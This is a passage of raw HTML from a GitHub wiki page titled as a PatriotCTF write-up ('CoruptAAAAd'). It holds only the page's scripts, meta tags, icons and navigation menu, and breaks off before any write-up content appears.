src="https://github.githubassets.com/assets/vendors-node_modules_github_clipboard-copy-element_dist_index_esm_js-node_modules_github_remo-8e6bec-232430bfe6da.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_mini-throttle_dist_decorators_js-node_modules_scroll-anchoring_di-e71893-cc1b30c51a28.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_ref-selector_ts-7bdefeb88a1a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_diffs_blob-lines_ts-app_assets_modules_github_diffs_linkable-line-n-f96c66-97aade341120.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/diffs-3a64c1f69a81.js"></script> <script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/wiki-1423a5c9ebf5.js"></script>
<title>PatriotCTF : CoruptAAAAd · not1cyyy/CTF-Writeups Wiki · GitHub</title>
<meta name="route-pattern" content="/:user_id/:repository/wiki/:id(.:format)">
<meta name="current-catalog-service-hash" content="27690012a2eb28b75d0bacab0f2c11870266e8db9e019fa71fea812b82397bd6">
<meta name="request-id" content="ECE0:F966:13CCB1E:144D56F:64121B3B" data-pjax-transient="true"/><meta name="html-safe-nonce" content="51114e634808db1a2dd53c7337e262f31d111c0fa87f74b84e13f4d6d11f3d78" data-pjax-transient="true"/><meta name="visitor-payload" content="eyJyZWZlcnJlciI6IiIsInJlcXVlc3RfaWQiOiJFQ0UwOkY5NjY6MTNDQ0IxRToxNDRENTZGOjY0MTIxQjNCIiwidmlzaXRvcl9pZCI6IjQzNjQ3ODYzMDc1MTc1MjA2OTkiLCJyZWdpb25fZWRnZSI6ImZyYSIsInJlZ2lvbl9yZW5kZXIiOiJmcmEifQ==" data-pjax-transient="true"/><meta name="visitor-hmac" content="1d5344d3338fb1715de87a44ab9d3190d0b3148c3fc4ccee2ddb997310c1fd6c" data-pjax-transient="true"/>
<meta name="hovercard-subject-tag" content="repository:481769760" data-turbo-transient>
<meta name="github-keyboard-shortcuts" content="repository" data-turbo-transient="true" />
<meta name="selected-link" value="repo_wiki" data-turbo-transient>
<meta name="google-site-verification" content="c1kuD-K2HIVF635lypcsWPoD4kilo5-jA_wBFyT4uMY"> <meta name="google-site-verification" content="KT5gs8h0wvaagLKAVWq8bbeNwnZZK1r1XQysX3xurLU"> <meta name="google-site-verification" content="ZzhVyEFwb7w3e0-uOTltm8Jsck2F5StVihD0exw2fsA"> <meta name="google-site-verification" content="GXs5KoUUkNCoaAZn7wPN-t01Pywp9M3sEjnt_3_ZWPc"> <meta name="google-site-verification" content="Apib7-x98H0j5cPqHWwSMm6dNU4GmODRoqxLiDzdx9I">
<meta name="octolytics-url" content="https://collector.github.com/github/collect" />
<meta name="analytics-location" content="/<user-name>/<repo-name>/wiki/show" data-turbo-transient="true" />
<meta name="user-login" content="">
<meta name="viewport" content="width=device-width"> <meta name="description" content="This is my writeups repository ! . Contribute to not1cyyy/CTF-Writeups development by creating an account on GitHub."> <link rel="search" type="application/opensearchdescription+xml" href="/opensearch.xml" title="GitHub"> <link rel="fluid-icon" href="https://github.com/fluidicon.png" title="GitHub"> <meta property="fb:app_id" content="1401488693436528"> <meta name="apple-itunes-app" content="app-id=1477376905" /> <meta name="twitter:image:src" content="https://opengraph.githubassets.com/e171482900f0c3d46b31f49340e572ecc31e0ee3e562f7133c521eed126b0881/not1cyyy/CTF-Writeups" /><meta name="twitter:site" content="@github" /><meta name="twitter:card" content="summary_large_image" /><meta name="twitter:title" content="PatriotCTF : CoruptAAAAd" /><meta name="twitter:description" content="This is my writeups repository ! . Contribute to not1cyyy/CTF-Writeups development by creating an account on GitHub." /> <meta property="og:image" content="https://opengraph.githubassets.com/e171482900f0c3d46b31f49340e572ecc31e0ee3e562f7133c521eed126b0881/not1cyyy/CTF-Writeups" /><meta property="og:image:alt" content="This is my writeups repository ! . Contribute to not1cyyy/CTF-Writeups development by creating an account on GitHub." /><meta property="og:image:width" content="1200" /><meta property="og:image:height" content="600" /><meta property="og:site_name" content="GitHub" /><meta property="og:type" content="object" /><meta property="og:title" content="PatriotCTF : CoruptAAAAd" /><meta property="og:url" content="https://github.com/not1cyyy/CTF-Writeups/wiki/PatriotCTF-:-CoruptAAAAd" /><meta property="og:description" content="This is my writeups repository ! . Contribute to not1cyyy/CTF-Writeups development by creating an account on GitHub." /> <link rel="assets" href="https://github.githubassets.com/">
<meta name="hostname" content="github.com">
<meta name="expected-hostname" content="github.com">
<meta name="enabled-features" content="TURBO_EXPERIMENT_RISKY,IMAGE_METRIC_TRACKING,GEOJSON_AZURE_MAPS">
<meta http-equiv="x-pjax-version" content="6ffaf5bc8a9e1bf3f935330f5a42569979e87256b13e29eade59f1bd367849db" data-turbo-track="reload"> <meta http-equiv="x-pjax-csp-version" content="2a84822a832da97f1ea76cf989a357ec70c85713a2fd8f14c8421b76bbffe38c" data-turbo-track="reload"> <meta http-equiv="x-pjax-css-version" content="adfc12179419e463f9f320d07920b1684c9b7e060d4d9cd3a6cd5d0de37ce710" data-turbo-track="reload"> <meta http-equiv="x-pjax-js-version" content="ed6ef66a07203920b3d1b9ba62f82e7ebe14f0203cf59ccafb1926b52379fb59" data-turbo-track="reload">
<meta name="turbo-cache-control" content="no-preview" data-turbo-transient="">
<meta name="go-import" content="github.com/not1cyyy/CTF-Writeups git https://github.com/not1cyyy/CTF-Writeups.git">
<meta name="octolytics-dimension-user_id" content="101048320" /><meta name="octolytics-dimension-user_login" content="not1cyyy" /><meta name="octolytics-dimension-repository_id" content="481769760" /><meta name="octolytics-dimension-repository_nwo" content="not1cyyy/CTF-Writeups" /><meta name="octolytics-dimension-repository_public" content="true" /><meta name="octolytics-dimension-repository_is_fork" content="false" /><meta name="octolytics-dimension-repository_network_root_id" content="481769760" /><meta name="octolytics-dimension-repository_network_root_nwo" content="not1cyyy/CTF-Writeups" />
<meta name="turbo-body-classes" content="logged-out env-production page-responsive">
<meta name="browser-stats-url" content="https://api.github.com/_private/browser/stats">
<meta name="browser-errors-url" content="https://api.github.com/_private/browser/errors">
<meta name="browser-optimizely-client-errors-url" content="https://api.github.com/_private/browser/optimizely_client/errors">
<link rel="mask-icon" href="https://github.githubassets.com/pinned-octocat.svg" color="#000000"> <link rel="alternate icon" class="js-site-favicon" type="image/png" href="https://github.githubassets.com/favicons/favicon.png"> <link rel="icon" class="js-site-favicon" type="image/svg+xml" href="https://github.githubassets.com/favicons/favicon.svg">
<meta name="theme-color" content="#1e2327"><meta name="color-scheme" content="light dark" />
<link rel="manifest" href="/manifest.json" crossOrigin="use-credentials">
</head>
<body class="logged-out env-production page-responsive" style="word-wrap: break-word;"> <div data-turbo-body class="logged-out env-production page-responsive" style="word-wrap: break-word;">
<div class="position-relative js-header-wrapper "> Skip to content <span> <span></span></span>
<script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_remote-form_dist_index_js-node_modules_delegated-events_dist_inde-94fd67-04fa93bb158a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/sessions-9920eaa99f50.js"></script><header class="Header-old header-logged-out js-details-container Details position-relative f4 py-3" role="banner"> <button type="button" class="Header-backdrop d-lg-none border-0 position-fixed top-0 left-0 width-full height-full js-details-target" aria-label="Toggle navigation"> <span>Toggle navigation</span> </button>
<div class="container-xl d-flex flex-column flex-lg-row flex-items-center p-responsive height-full position-relative z-1"> <div class="d-flex flex-justify-between flex-items-center width-full width-lg-auto"> <svg height="32" aria-hidden="true" viewBox="0 0 16 16" version="1.1" width="32" data-view-component="true" class="octicon octicon-mark-github"> <path d="M8 0c4.42 0 8 3.58 8 8a8.013 8.013 0 0 1-5.45 7.59c-.4.08-.55-.17-.55-.38 0-.27.01-1.13.01-2.2 0-.75-.25-1.23-.54-1.48 1.78-.2 3.65-.88 3.65-3.95 0-.88-.31-1.59-.82-2.15.08-.2.36-1.02-.08-2.12 0 0-.67-.22-2.2.82-.64-.18-1.32-.27-2-.27-.68 0-1.36.09-2 .27-1.53-1.03-2.2-.82-2.2-.82-.44 1.1-.16 1.92-.08 2.12-.51.56-.82 1.28-.82 2.15 0 3.06 1.86 3.75 3.64 3.95-.23.2-.44.55-.51 1.07-.46.21-1.61.55-2.33-.66-.15-.24-.6-.83-1.23-.82-.67.01-.27.38.01.53.34.19.73.9.82 1.13.16.45.68 1.31 2.69.94 0 .67.01 1.3.01 1.49 0 .21-.15.45-.55.38A7.995 7.995 0 0 1 0 8c0-4.42 3.58-8 8-8Z"></path></svg>
<div class="flex-1"> Sign up </div>
<div class="flex-1 flex-order-2 text-right"> <button aria-label="Toggle navigation" aria-expanded="false" type="button" data-view-component="true" class="js-details-target Button--link Button--medium Button d-lg-none color-fg-inherit p-1"> <span> <span><div class="HeaderMenu-toggle-bar rounded my-1"></div> <div class="HeaderMenu-toggle-bar rounded my-1"></div> <div class="HeaderMenu-toggle-bar rounded my-1"></div></span> </span></button> </div> </div>
<div class="HeaderMenu--logged-out p-responsive height-fit position-lg-relative d-lg-flex flex-column flex-auto pt-7 pb-4 top-0"> <div class="header-menu-wrapper d-flex flex-column flex-self-end flex-lg-row flex-justify-between flex-auto p-3 p-lg-0 rounded rounded-lg-0 mt-3 mt-lg-0"> <nav class="mt-0 px-3 px-lg-0 mb-3 mb-lg-0" aria-label="Global"> <button type="button" class="HeaderMenu-link border-0 width-full width-lg-auto px-0 px-lg-2 py-3 py-lg-2 no-wrap d-flex flex-items-center flex-justify-between js-details-target" aria-expanded="false"> Product <svg opacity="0.5" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-chevron-down HeaderMenu-icon ml-1"> <path d="M12.78 5.22a.749.749 0 0 1 0 1.06l-4.25 4.25a.749.749 0 0 1-1.06 0L3.22 6.28a.749.749 0 1 1 1.06-1.06L8 8.939l3.72-3.719a.749.749 0 0 1 1.06 0Z"></path></svg> </button> <div class="HeaderMenu-dropdown dropdown-menu rounded m-0 p-0 py-2 py-lg-4 position-relative position-lg-absolute left-0 left-lg-n3 d-lg-flex dropdown-menu-wide">
<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-workflow color-fg-subtle mr-3"> <path d="M1 3a2 2 0 0 1 2-2h6.5a2 2 0 0 1 2 2v6.5a2 2 0 0 1-2 2H7v4.063C7 16.355 7.644 17 8.438 17H12.5v-2.5a2 2 0 0 1 2-2H21a2 2 0 0 1 2 2V21a2 2 0 0 1-2 2h-6.5a2 2 0 0 1-2-2v-2.5H8.437A2.939 2.939 0 0 1 5.5 15.562V11.5H3a2 2 0 0 1-2-2Zm2-.5a.5.5 0 0 0-.5.5v6.5a.5.5 0 0 0 .5.5h6.5a.5.5 0 0 0 .5-.5V3a.5.5 0 0 0-.5-.5ZM14.5 14a.5.5 0 0 0-.5.5V21a.5.5 0 0 0 .5.5H21a.5.5 0 0 0 .5-.5v-6.5a.5.5 0 0 0-.5-.5Z"></path></svg> <div> <div class="color-fg-default h4">Actions</div> Automate any workflow </div>
<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-package color-fg-subtle mr-3"> <path d="M12.876.64V.639l8.25 4.763c.541.313.875.89.875 1.515v9.525a1.75 1.75 0 0 1-.875 1.516l-8.25 4.762a1.748 1.748 0 0 1-1.75 0l-8.25-4.763a1.75 1.75 0 0 1-.875-1.515V6.917c0-.625.334-1.202.875-1.515L11.126.64a1.748 1.748 0 0 1 1.75 0Zm-1 1.298L4.251 6.34l7.75 4.474 7.75-4.474-7.625-4.402a.248.248 0 0 0-.25 0Zm.875 19.123 7.625-4.402a.25.25 0 0 0 .125-.216V7.639l-7.75 4.474ZM3.501 7.64v8.803c0 .09.048.172.125.216l7.625 4.402v-8.947Z"></path></svg> <div> <div class="color-fg-default h4">Packages</div> Host and manage packages </div>
<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-shield-check color-fg-subtle mr-3"> <path d="M16.53 9.78a.75.75 0 0 0-1.06-1.06L11 13.19l-1.97-1.97a.75.75 0 0 0-1.06 1.06l2.5 2.5a.75.75 0 0 0 1.06 0l5-5Z"></path><path d="m12.54.637 8.25 2.675A1.75 1.75 0 0 1 22 4.976V10c0 6.19-3.771 10.704-9.401 12.83a1.704 1.704 0 0 1-1.198 0C5.77 20.705 2 16.19 2 10V4.976c0-.758.489-1.43 1.21-1.664L11.46.637a1.748 1.748 0 0 1 1.08 0Zm-.617 1.426-8.25 2.676a.249.249 0 0 0-.173.237V10c0 5.46 3.28 9.483 8.43 11.426a.199.199 0 0 0 .14 0C17.22 19.483 20.5 15.461 20.5 10V4.976a.25.25 0 0 0-.173-.237l-8.25-2.676a.253.253 0 0 0-.154 0Z"></path></svg> <div> <div class="color-fg-default h4">Security</div> Find and fix vulnerabilities </div>
<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-codespaces color-fg-subtle mr-3"> <path d="M3.5 3.75C3.5 2.784 4.284 2 5.25 2h13.5c.966 0 1.75.784 1.75 1.75v7.5A1.75 1.75 0 0 1 18.75 13H5.25a1.75 1.75 0 0 1-1.75-1.75Zm-2 12c0-.966.784-1.75 1.75-1.75h17.5c.966 0 1.75.784 1.75 1.75v4a1.75 1.75 0 0 1-1.75 1.75H3.25a1.75 1.75 0 0 1-1.75-1.75ZM5.25 3.5a.25.25 0 0 0-.25.25v7.5c0 .138.112.25.25.25h13.5a.25.25 0 0 0 .25-.25v-7.5a.25.25 0 0 0-.25-.25Zm-2 12a.25.25 0 0 0-.25.25v4c0 .138.112.25.25.25h17.5a.25.25 0 0 0 .25-.25v-4a.25.25 0 0 0-.25-.25Z"></path><path d="M10 17.75a.75.75 0 0 1 .75-.75h6.5a.75.75 0 0 1 0 1.5h-6.5a.75.75 0 0 1-.75-.75Zm-4 0a.75.75 0 0 1 .75-.75h.5a.75.75 0 0 1 0 1.5h-.5a.75.75 0 0 1-.75-.75Z"></path></svg> <div> <div class="color-fg-default h4">Codespaces</div> Instant dev environments </div>
<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-copilot color-fg-subtle mr-3"> <path d="M9.75 14a.75.75 0 0 1 .75.75v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 .75-.75Zm4.5 0a.75.75 0 0 1 .75.75v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 .75-.75Z"></path><path d="M12 2c2.214 0 4.248.657 5.747 1.756.136.099.268.204.397.312.584.235 1.077.546 1.474.952.85.869 1.132 2.037 1.132 3.368 0 .368-.014.733-.052 1.086l.633 1.478.043.022A4.75 4.75 0 0 1 24 15.222v1.028c0 .529-.309.987-.565 1.293-.28.336-.636.653-.966.918a13.84 13.84 0 0 1-1.299.911l-.024.015-.006.004-.039.025c-.223.135-.45.264-.68.386-.46.245-1.122.571-1.941.895C16.845 21.344 14.561 22 12 22c-2.561 0-4.845-.656-6.479-1.303a19.046 19.046 0 0 1-1.942-.894 14.081 14.081 0 0 1-.535-.3l-.144-.087-.04-.025-.006-.004-.024-.015a13.16 13.16 0 0 1-1.299-.911 6.913 6.913 0 0 1-.967-.918C.31 17.237 0 16.779 0 16.25v-1.028a4.75 4.75 0 0 1 2.626-4.248l.043-.022.633-1.478a10.195 10.195 0 0 1-.052-1.086c0-1.331.282-2.498 1.132-3.368.397-.406.89-.717 1.474-.952.129-.108.261-.213.397-.312C7.752 2.657 9.786 2 12 2Zm-8 9.654v6.669a17.59 17.59 0 0 0 2.073.98C7.595 19.906 9.686 20.5 12 20.5c2.314 0 4.405-.594 5.927-1.197a17.59 17.59 0 0 0 2.073-.98v-6.669l-.038-.09c-.046.061-.095.12-.145.177-.793.9-2.057 1.259-3.782 1.259-1.59 0-2.738-.544-3.508-1.492a4.323 4.323 0 0 1-.355-.508h-.344a4.323 4.323 0 0 1-.355.508C10.704 12.456 9.555 13 7.965 13c-1.725 0-2.989-.359-3.782-1.259a3.026 3.026 0 0 1-.145-.177Zm6.309-1.092c.445-.547.708-1.334.851-2.301.057-.357.087-.718.09-1.079v-.031c-.001-.762-.166-1.26-.43-1.568l-.008-.01c-.341-.391-1.046-.689-2.533-.529-1.505.163-2.347.537-2.824 1.024-.462.473-.705 1.18-.705 2.32 0 .605.044 1.087.135 1.472.092.384.231.672.423.89.365.413 1.084.75 2.657.75.91 0 1.527-.223 1.964-.564.14-.11.268-.235.38-.374Zm2.504-2.497c.136 1.057.403 1.913.878 2.497.442.545 1.134.938 2.344.938 1.573 0 2.292-.337 2.657-.751.384-.435.558-1.151.558-2.361 0-1.14-.243-1.847-.705-2.319-.477-.488-1.318-.862-2.824-1.025-1.487-.161-2.192.139-2.533.529-.268.308-.437.808-.438 1.578v.02c.002.299.023.598.063.894Z"></path></svg> <div> <div class="color-fg-default h4">Copilot</div> Write better code with AI </div>
<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-code-review color-fg-subtle mr-3"> <path d="M10.3 6.74a.75.75 0 0 1-.04 1.06l-2.908 2.7 2.908 2.7a.75.75 0 1 1-1.02 1.1l-3.5-3.25a.75.75 0 0 1 0-1.1l3.5-3.25a.75.75 0 0 1 1.06.04Zm3.44 1.06a.75.75 0 1 1 1.02-1.1l3.5 3.25a.75.75 0 0 1 0 1.1l-3.5 3.25a.75.75 0 1 1-1.02-1.1l2.908-2.7-2.908-2.7Z"></path><path d="M1.5 4.25c0-.966.784-1.75 1.75-1.75h17.5c.966 0 1.75.784 1.75 1.75v12.5a1.75 1.75 0 0 1-1.75 1.75h-9.69l-3.573 3.573A1.458 1.458 0 0 1 5 21.043V18.5H3.25a1.75 1.75 0 0 1-1.75-1.75ZM3.25 4a.25.25 0 0 0-.25.25v12.5c0 .138.112.25.25.25h2.5a.75.75 0 0 1 .75.75v3.19l3.72-3.72a.749.749 0 0 1 .53-.22h10a.25.25 0 0 0 .25-.25V4.25a.25.25 0 0 0-.25-.25Z"></path></svg> <div> <div class="color-fg-default h4">Code review</div> Manage code changes </div>
<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-issue-opened color-fg-subtle mr-3"> <path d="M12 1c6.075 0 11 4.925 11 11s-4.925 11-11 11S1 18.075 1 12 5.925 1 12 1ZM2.5 12a9.5 9.5 0 0 0 9.5 9.5 9.5 9.5 0 0 0 9.5-9.5A9.5 9.5 0 0 0 12 2.5 9.5 9.5 0 0 0 2.5 12Zm9.5 2a2 2 0 1 1-.001-3.999A2 2 0 0 1 12 14Z"></path></svg> <div> <div class="color-fg-default h4">Issues</div> Plan and track work </div>
<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-comment-discussion color-fg-subtle mr-3"> <path d="M1.75 1h12.5c.966 0 1.75.784 1.75 1.75v9.5A1.75 1.75 0 0 1 14.25 14H8.061l-2.574 2.573A1.458 1.458 0 0 1 3 15.543V14H1.75A1.75 1.75 0 0 1 0 12.25v-9.5C0 1.784.784 1 1.75 1ZM1.5 2.75v9.5c0 .138.112.25.25.25h2a.75.75 0 0 1 .75.75v2.19l2.72-2.72a.749.749 0 0 1 .53-.22h6.5a.25.25 0 0 0 .25-.25v-9.5a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25Z"></path><path d="M22.5 8.75a.25.25 0 0 0-.25-.25h-3.5a.75.75 0 0 1 0-1.5h3.5c.966 0 1.75.784 1.75 1.75v9.5A1.75 1.75 0 0 1 22.25 20H21v1.543a1.457 1.457 0 0 1-2.487 1.03L15.939 20H10.75A1.75 1.75 0 0 1 9 18.25v-1.465a.75.75 0 0 1 1.5 0v1.465c0 .138.112.25.25.25h5.5a.75.75 0 0 1 .53.22l2.72 2.72v-2.19a.75.75 0 0 1 .75-.75h2a.25.25 0 0 0 .25-.25v-9.5Z"></path></svg> <div> <div class="color-fg-default h4">Discussions</div> Collaborate outside of code </div>
Explore
All features
Documentation
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg>
GitHub Skills
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg>
Blog
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg>
</div>
<button type="button" class="HeaderMenu-link border-0 width-full width-lg-auto px-0 px-lg-2 py-3 py-lg-2 no-wrap d-flex flex-items-center flex-justify-between js-details-target" aria-expanded="false"> Solutions <svg opacity="0.5" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-chevron-down HeaderMenu-icon ml-1"> <path d="M12.78 5.22a.749.749 0 0 1 0 1.06l-4.25 4.25a.749.749 0 0 1-1.06 0L3.22 6.28a.749.749 0 1 1 1.06-1.06L8 8.939l3.72-3.719a.749.749 0 0 1 1.06 0Z"></path></svg> </button> <div class="HeaderMenu-dropdown dropdown-menu rounded m-0 p-0 py-2 py-lg-4 position-relative position-lg-absolute left-0 left-lg-n3 px-lg-4"> For
Enterprise
Teams
Startups
Education
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg>
By Solution
CI/CD & Automation
DevOps
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg>
DevSecOps
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg>
Case Studies
Customer Stories
Resources
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg>
</div>
<button type="button" class="HeaderMenu-link border-0 width-full width-lg-auto px-0 px-lg-2 py-3 py-lg-2 no-wrap d-flex flex-items-center flex-justify-between js-details-target" aria-expanded="false"> Open Source <svg opacity="0.5" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-chevron-down HeaderMenu-icon ml-1"> <path d="M12.78 5.22a.749.749 0 0 1 0 1.06l-4.25 4.25a.749.749 0 0 1-1.06 0L3.22 6.28a.749.749 0 1 1 1.06-1.06L8 8.939l3.72-3.719a.749.749 0 0 1 1.06 0Z"></path></svg> </button> <div class="HeaderMenu-dropdown dropdown-menu rounded m-0 p-0 py-2 py-lg-4 position-relative position-lg-absolute left-0 left-lg-n3 px-lg-4">
<div> <div class="color-fg-default h4">GitHub Sponsors</div> Fund open source developers </div>
<div> <div class="color-fg-default h4">The ReadME Project</div> GitHub community articles </div>
Repositories
Topics
Trending
Collections
</div>
Pricing
</nav>
<div class="d-lg-flex flex-items-center px-3 px-lg-0 mb-3 mb-lg-0 text-center text-lg-left"> <div class="d-lg-flex min-width-0 mb-2 mb-lg-0">
<div class="header-search flex-auto position-relative js-site-search flex-self-stretch flex-md-self-auto mb-3 mb-md-0 mr-0 mr-md-3 scoped-search site-scoped-search js-jump-to"> <div class="position-relative"> </option></form><form class="js-site-search-form" role="search" aria-label="Site" data-scope-type="Repository" data-scope-id="481769760" data-scoped-search-url="/not1cyyy/CTF-Writeups/search" data-owner-scoped-search-url="/users/not1cyyy/search" data-unscoped-search-url="/search" data-turbo="false" action="/not1cyyy/CTF-Writeups/search" accept-charset="UTF-8" method="get"> <label class="form-control header-search-wrapper input-sm p-0 js-chromeless-input-container header-search-wrapper-jump-to position-relative d-flex flex-justify-between flex-items-center"> <input type="text" class="form-control js-site-search-focus header-search-input jump-to-field js-jump-to-field js-site-search-field is-clearable" data-hotkey=s,/ name="q" placeholder="Search" data-unscoped-placeholder="Search GitHub" data-scoped-placeholder="Search" autocapitalize="off" role="combobox" aria-haspopup="listbox" aria-expanded="false" aria-autocomplete="list" aria-controls="jump-to-results" aria-label="Search" data-jump-to-suggestions-path="/_graphql/GetSuggestedNavigationDestinations" spellcheck="false" autocomplete="off" > <input type="hidden" data-csrf="true" class="js-data-jump-to-suggestions-path-csrf" value="1Nvubau9xNkN9TXgYkBP+g21n0GO0myGtKSaLdM3kn1Lsfjf7dhxhOi/ObCZLTlz/dwjNQThhw5DumOoScOxjg==" /> <input type="hidden" class="js-site-search-type-field" name="type" > <svg xmlns="http://www.w3.org/2000/svg" width="22" height="20" aria-hidden="true" class="mr-1 header-search-key-slash"><path fill="none" stroke="#979A9C" opacity=".4" d="M3.5.5h12c1.7 0 3 1.3 3 3v13c0 1.7-1.3 3-3 3h-12c-1.7 